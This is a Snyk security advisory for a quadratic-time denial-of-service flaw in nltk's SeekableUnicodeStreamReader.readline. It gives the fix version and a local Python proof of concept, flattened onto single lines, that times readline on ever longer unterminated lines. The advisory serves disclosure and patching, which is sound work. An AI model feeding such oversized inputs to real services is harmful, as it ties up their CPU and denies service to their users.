Inefficient Algorithmic Complexity Affecting nltk package, versions [,3.10.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.52% (38th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22733166
  • published22 Nov 2026
  • disclosed19 Nov 2026
  • creditzx, manus-use, Daniel Coles

Introduced: 19 Nov 2026

NewCVE-2026-129231  (opens in a new tab)
CWE-407  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via SeekableUnicodeStreamReader.readline in nltk/data.py, which assembles a line by appending each newly read block to a growing chars buffer and then calling chars.splitlines(True) over the entire accumulated buffer on every loop iteration. Because the read block size is capped at 8000 characters, reading a single unterminated line of N characters requires approximately N/8000 iterations, and each iteration k rescans roughly 8000*k characters, producing O(N^2) total CPU work. An attacker who supplies a corpus file containing one very long line with no newline terminator can pin a CPU core for quadratic time in the reader's process.

Note: This is only exploitable when a corpus file is processed through a line-oriented corpus reader with an encoding set, which causes StreamBackedCorpusView._open to construct a SeekableUnicodeStreamReader; the block readers read_line_block, read_whitespace_block, read_wordpunct_block, and read_blankline_block all call stream.readline() with no size argument, reaching the vulnerable path.

PoC

Requires only the nltk package under test on PYTHONPATH; no network access. Feeds one unterminated line of increasing length through SeekableUnicodeStreamReader.readline (size=None, the corpus-view path) and times each call.

import io, time
from nltk.data import SeekableUnicodeStreamReader

def measure(n): stream = io.BytesIO(b"a" * n) # one unterminated line, no newline reader = SeekableUnicodeStreamReader(stream, "utf-8") t0 = time.perf_counter() line = reader.readline() # size=None -> corpus-view path dt = time.perf_counter() - t0 assert len(line) == n return dt

prev = None for n in (1_000_000, 2_000_000, 4_000_000, 8_000_000): dt = measure(n) ratio = "-" if prev is None else f"{dt/prev:.2f}x" print(f"{n:>12,} chars {dt:8.3f}s ratio(x2 size)={ratio}") prev = dt

   1,000,000 chars     0.058s  ratio(x2 size)=-
   2,000,000 chars     0.290s  ratio(x2 size)=4.99x
   4,000,000 chars     1.154s  ratio(x2 size)=3.98x
   8,000,000 chars     4.694s  ratio(x2 size)=4.07x

The roughly 4x time increase for each 2x increase in size is the O(N^2) signature; a linear readline would grow about 2x per 2x size step.

Note: Requires only the nltk package on PYTHONPATH with no network access, feeding unterminated lines of increasing length through SeekableUnicodeStreamReader.readline with size=None.

CVSS Base Scores

version 4.0
version 3.1